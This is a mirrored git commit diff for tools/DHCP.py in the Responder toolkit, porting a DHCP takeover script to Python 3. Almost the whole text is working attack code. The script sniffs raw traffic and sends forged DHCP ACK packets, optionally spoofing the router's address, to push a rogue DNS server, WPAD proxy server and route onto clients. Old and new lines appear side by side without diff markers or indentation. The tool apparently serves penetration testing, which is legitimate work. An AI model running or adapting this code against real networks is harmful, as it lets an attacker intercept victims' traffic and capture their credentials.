mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-11 07:36:15 -07:00
Added py3 and py2 compatibility + many bugfix
This commit is contained in:
lgandx
parent
c52843a535
commit
b510b2bb25
49 changed files with 2771 additions and 2058 deletions
453
tools/DHCP.py
453
tools/DHCP.py
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@ -1,5 +1,5 @@
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#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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@ -17,7 +17,7 @@
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import sys
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import struct
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import optparse
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import ConfigParser
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import configparser
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import os
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BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
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@ -39,40 +39,40 @@ parser.add_option('-R', action="store_true", help="Respond to DH
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options, args = parser.parse_args()
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def color(txt, code = 1, modifier = 0):
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return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
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return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
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if options.Interface is None:
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print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
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exit(-1)
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print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
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exit(-1)
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elif options.RouterIP is None:
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print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
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exit(-1)
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print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
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exit(-1)
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elif options.DNSIP is None:
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print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
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exit(-1)
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print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
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exit(-1)
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elif options.DNSIP2 is None:
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print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
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exit(-1)
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print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
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exit(-1)
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print '#############################################################################'
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print '## DHCP INFORM TAKEOVER 0.2 ##'
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print '## ##'
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print '## By default, this script will only inject a new DNS/WPAD ##'
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print '## server to a Windows <= XP/2003 machine. ##'
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print '## ##'
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print '## To inject a DNS server/domain/route on a Windows >= Vista and ##'
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print '## any linux box, use -R (can be noisy) ##'
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print '## ##'
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print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##'
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print '#############################################################################'
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print ''
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print color('[*]', 2, 1), 'Listening for events...'
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print('#############################################################################')
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print('## DHCP INFORM TAKEOVER 0.2 ##')
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print('## ##')
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print('## By default, this script will only inject a new DNS/WPAD ##')
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print('## server to a Windows <= XP/2003 machine. ##')
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print('## ##')
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print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
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print('## any linux box, use -R (can be noisy) ##')
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print('## ##')
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print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
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print('#############################################################################')
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print('')
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print(color('[*]', 2, 1), 'Listening for events...')
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config = ConfigParser.ConfigParser()
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config = configparser.ConfigParser()
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config.read(os.path.join(BASEDIR,'Responder.conf'))
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RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
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DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
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RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
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DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
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Interface = options.Interface
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Responder_IP = FindLocalIP(Interface, None)
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ROUTERIP = options.RouterIP
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@ -86,233 +86,232 @@ Spoof = options.Spoof
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Respond_To_Requests = options.Respond_To_Requests
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if Spoof:
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DHCPSERVER = ROUTERIP
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DHCPSERVER = ROUTERIP
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##### IP Header #####
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class IPHead(Packet):
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fields = OrderedDict([
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("Version", "\x45"),
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("DiffServices", "\x00"),
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("TotalLen", "\x00\x00"),
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("Ident", "\x00\x00"),
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("Flags", "\x00\x00"),
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("TTL", "\x40"),
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("Protocol", "\x11"),
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("Checksum", "\x00\x00"),
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("SrcIP", ""),
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("DstIP", ""),
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])
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fields = OrderedDict([
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("Version", "\x45"),
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("DiffServices", "\x00"),
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("TotalLen", "\x00\x00"),
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("Ident", "\x00\x00"),
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("Flags", "\x00\x00"),
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("TTL", "\x40"),
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("Protocol", "\x11"),
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("Checksum", "\x00\x00"),
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("SrcIP", ""),
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("DstIP", ""),
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])
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class UDP(Packet):
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fields = OrderedDict([
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("SrcPort", "\x00\x43"),
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("DstPort", "\x00\x44"),
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("Len", "\x00\x00"),
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("Checksum", "\x00\x00"),
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("Data", "\x00\x00"),
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])
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fields = OrderedDict([
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("SrcPort", "\x00\x43"),
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("DstPort", "\x00\x44"),
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("Len", "\x00\x00"),
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("Checksum", "\x00\x00"),
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("Data", "\x00\x00"),
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])
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def calculate(self):
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self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
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def calculate(self):
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self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
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class DHCPACK(Packet):
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fields = OrderedDict([
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("MessType", "\x02"),
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("HdwType", "\x01"),
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("HdwLen", "\x06"),
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("Hops", "\x00"),
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("Tid", "\x11\x22\x33\x44"),
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("ElapsedSec", "\x00\x00"),
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("BootpFlags", "\x00\x00"),
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("ActualClientIP", "\x00\x00\x00\x00"),
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("GiveClientIP", "\x00\x00\x00\x00"),
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("NextServerIP", "\x00\x00\x00\x00"),
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("RelayAgentIP", "\x00\x00\x00\x00"),
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("ClientMac", "\xff\xff\xff\xff\xff\xff"),
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("ClientMacPadding", "\x00" *10),
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("ServerHostname", "\x00" * 64),
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("BootFileName", "\x00" * 128),
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("MagicCookie", "\x63\x82\x53\x63"),
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("DHCPCode", "\x35"), #DHCP Message
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("DHCPCodeLen", "\x01"),
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("DHCPOpCode", "\x05"), #Msgtype(ACK)
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("Op54", "\x36"),
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("Op54Len", "\x04"),
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("Op54Str", ""), #DHCP Server
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("Op51", "\x33"),
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("Op51Len", "\x04"),
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("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
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("Op1", "\x01"),
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("Op1Len", "\x04"),
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("Op1Str", ""), #Netmask
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("Op15", "\x0f"),
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("Op15Len", "\x0e"),
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("Op15Str", ""), #DNS Name
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("Op3", "\x03"),
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("Op3Len", "\x04"),
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("Op3Str", ""), #Router
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("Op6", "\x06"),
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("Op6Len", "\x08"),
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("Op6Str", ""), #DNS Servers
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("Op252", "\xfc"),
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("Op252Len", "\x04"),
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("Op252Str", ""), #Wpad Server
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("Op255", "\xff"),
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("Padding", "\x00"),
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])
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fields = OrderedDict([
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("MessType", "\x02"),
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("HdwType", "\x01"),
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("HdwLen", "\x06"),
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("Hops", "\x00"),
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("Tid", "\x11\x22\x33\x44"),
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("ElapsedSec", "\x00\x00"),
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("BootpFlags", "\x00\x00"),
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("ActualClientIP", "\x00\x00\x00\x00"),
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("GiveClientIP", "\x00\x00\x00\x00"),
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("NextServerIP", "\x00\x00\x00\x00"),
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("RelayAgentIP", "\x00\x00\x00\x00"),
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("ClientMac", "\xff\xff\xff\xff\xff\xff"),
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("ClientMacPadding", "\x00" *10),
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("ServerHostname", "\x00" * 64),
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("BootFileName", "\x00" * 128),
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("MagicCookie", "\x63\x82\x53\x63"),
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("DHCPCode", "\x35"), #DHCP Message
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("DHCPCodeLen", "\x01"),
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("DHCPOpCode", "\x05"), #Msgtype(ACK)
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("Op54", "\x36"),
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("Op54Len", "\x04"),
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("Op54Str", ""), #DHCP Server
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("Op51", "\x33"),
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("Op51Len", "\x04"),
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("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
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("Op1", "\x01"),
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("Op1Len", "\x04"),
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("Op1Str", ""), #Netmask
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("Op15", "\x0f"),
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("Op15Len", "\x0e"),
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("Op15Str", ""), #DNS Name
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("Op3", "\x03"),
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("Op3Len", "\x04"),
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("Op3Str", ""), #Router
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("Op6", "\x06"),
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("Op6Len", "\x08"),
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("Op6Str", ""), #DNS Servers
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("Op252", "\xfc"),
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("Op252Len", "\x04"),
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("Op252Str", ""), #Wpad Server
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("Op255", "\xff"),
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("Padding", "\x00"),
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])
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def calculate(self):
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self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
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self.fields["Op1Str"] = socket.inet_aton(NETMASK)
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self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
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self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
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self.fields["Op15Str"] = DNSNAME
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self.fields["Op252Str"] = WPADSRV
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self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
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self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
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def calculate(self):
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self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
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self.fields["Op1Str"] = socket.inet_aton(NETMASK)
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self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
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self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
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self.fields["Op15Str"] = DNSNAME
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self.fields["Op252Str"] = WPADSRV
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self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
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self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
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class DHCPInformACK(Packet):
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fields = OrderedDict([
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("MessType", "\x02"),
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("HdwType", "\x01"),
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("HdwLen", "\x06"),
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("Hops", "\x00"),
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("Tid", "\x11\x22\x33\x44"),
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("ElapsedSec", "\x00\x00"),
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("BootpFlags", "\x00\x00"),
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("ActualClientIP", "\x00\x00\x00\x00"),
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("GiveClientIP", "\x00\x00\x00\x00"),
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("NextServerIP", "\x00\x00\x00\x00"),
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("RelayAgentIP", "\x00\x00\x00\x00"),
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("ClientMac", "\xff\xff\xff\xff\xff\xff"),
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("ClientMacPadding", "\x00" *10),
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("ServerHostname", "\x00" * 64),
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("BootFileName", "\x00" * 128),
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("MagicCookie", "\x63\x82\x53\x63"),
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("Op53", "\x35\x01\x05"), #Msgtype(ACK)
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("Op54", "\x36"),
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("Op54Len", "\x04"),
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("Op54Str", ""), #DHCP Server
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("Op1", "\x01"),
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("Op1Len", "\x04"),
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("Op1Str", ""), #Netmask
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("Op15", "\x0f"),
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("Op15Len", "\x0e"),
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("Op15Str", ""), #DNS Name
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("Op3", "\x03"),
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("Op3Len", "\x04"),
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("Op3Str", ""), #Router
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("Op6", "\x06"),
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("Op6Len", "\x08"),
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("Op6Str", ""), #DNS Servers
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("Op252", "\xfc"),
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("Op252Len", "\x04"),
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("Op252Str", ""), #Wpad Server.
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("Op255", "\xff"),
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])
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fields = OrderedDict([
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("MessType", "\x02"),
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("HdwType", "\x01"),
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("HdwLen", "\x06"),
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("Hops", "\x00"),
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("Tid", "\x11\x22\x33\x44"),
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("ElapsedSec", "\x00\x00"),
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("BootpFlags", "\x00\x00"),
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("ActualClientIP", "\x00\x00\x00\x00"),
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("GiveClientIP", "\x00\x00\x00\x00"),
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("NextServerIP", "\x00\x00\x00\x00"),
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("RelayAgentIP", "\x00\x00\x00\x00"),
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("ClientMac", "\xff\xff\xff\xff\xff\xff"),
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("ClientMacPadding", "\x00" *10),
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("ServerHostname", "\x00" * 64),
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("BootFileName", "\x00" * 128),
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("MagicCookie", "\x63\x82\x53\x63"),
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("Op53", "\x35\x01\x05"), #Msgtype(ACK)
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("Op54", "\x36"),
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("Op54Len", "\x04"),
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("Op54Str", ""), #DHCP Server
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("Op1", "\x01"),
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("Op1Len", "\x04"),
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("Op1Str", ""), #Netmask
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("Op15", "\x0f"),
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("Op15Len", "\x0e"),
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("Op15Str", ""), #DNS Name
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("Op3", "\x03"),
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("Op3Len", "\x04"),
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("Op3Str", ""), #Router
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("Op6", "\x06"),
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("Op6Len", "\x08"),
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("Op6Str", ""), #DNS Servers
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("Op252", "\xfc"),
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("Op252Len", "\x04"),
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("Op252Str", ""), #Wpad Server.
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("Op255", "\xff"),
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])
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def calculate(self):
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self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
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self.fields["Op1Str"] = socket.inet_aton(NETMASK)
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self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
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self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
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self.fields["Op15Str"] = DNSNAME
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self.fields["Op252Str"] = WPADSRV
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self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
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self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
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def calculate(self):
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self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
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self.fields["Op1Str"] = socket.inet_aton(NETMASK)
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self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
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self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
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self.fields["Op15Str"] = DNSNAME
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self.fields["Op252Str"] = WPADSRV
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self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
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self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
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def SpoofIP(Spoof):
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return ROUTERIP if Spoof else Responder_IP
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return ROUTERIP if Spoof else Responder_IP
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def RespondToThisIP(ClientIp):
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if ClientIp.startswith('127.0.0.'):
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return False
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elif RespondTo and ClientIp not in RespondTo:
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return False
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elif ClientIp in RespondTo or RespondTo == []:
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if ClientIp not in DontRespondTo:
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return True
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return False
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if ClientIp.startswith('127.0.0.'):
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return False
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elif RespondTo and ClientIp not in RespondTo:
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return False
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elif ClientIp in RespondTo or RespondTo == []:
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if ClientIp not in DontRespondTo:
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return True
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return False
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def ParseSrcDSTAddr(data):
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SrcIP = socket.inet_ntoa(data[0][26:30])
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DstIP = socket.inet_ntoa(data[0][30:34])
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SrcPort = struct.unpack('>H',data[0][34:36])[0]
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DstPort = struct.unpack('>H',data[0][36:38])[0]
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return SrcIP, SrcPort, DstIP, DstPort
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SrcIP = socket.inet_ntoa(data[0][26:30])
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DstIP = socket.inet_ntoa(data[0][30:34])
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SrcPort = struct.unpack('>H',data[0][34:36])[0]
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DstPort = struct.unpack('>H',data[0][36:38])[0]
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return SrcIP, SrcPort, DstIP, DstPort
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def FindIP(data):
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IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
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return ''.join(IP[0:4])
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IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
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return ''.join(IP[0:4])
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def ParseDHCPCode(data):
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PTid = data[4:8]
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Seconds = data[8:10]
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CurrentIP = socket.inet_ntoa(data[12:16])
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RequestedIP = socket.inet_ntoa(data[16:20])
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MacAddr = data[28:34]
|
||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||
RequestedIP = socket.inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
|
||||
# DHCP Inform
|
||||
if OpCode == "\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
||||
ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
# DHCP Inform
|
||||
if OpCode == "\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
||||
ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
|
||||
if __name__ == "__main__":
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
s.bind((Interface, 0x0800))
|
||||
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if data[0][23:24] == "\x11": # is udp?
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
while True:
|
||||
try:
|
||||
data = s.recvfrom(65535)
|
||||
if data[0][23:24] == "\x11": # is udp?
|
||||
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
|
||||
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
ret = ParseDHCPCode(data[0][42:])
|
||||
if ret:
|
||||
print text("[DHCP] %s" % ret)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
ret = ParseDHCPCode(data[0][42:])
|
||||
if ret:
|
||||
print(text("[DHCP] %s" % ret))
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue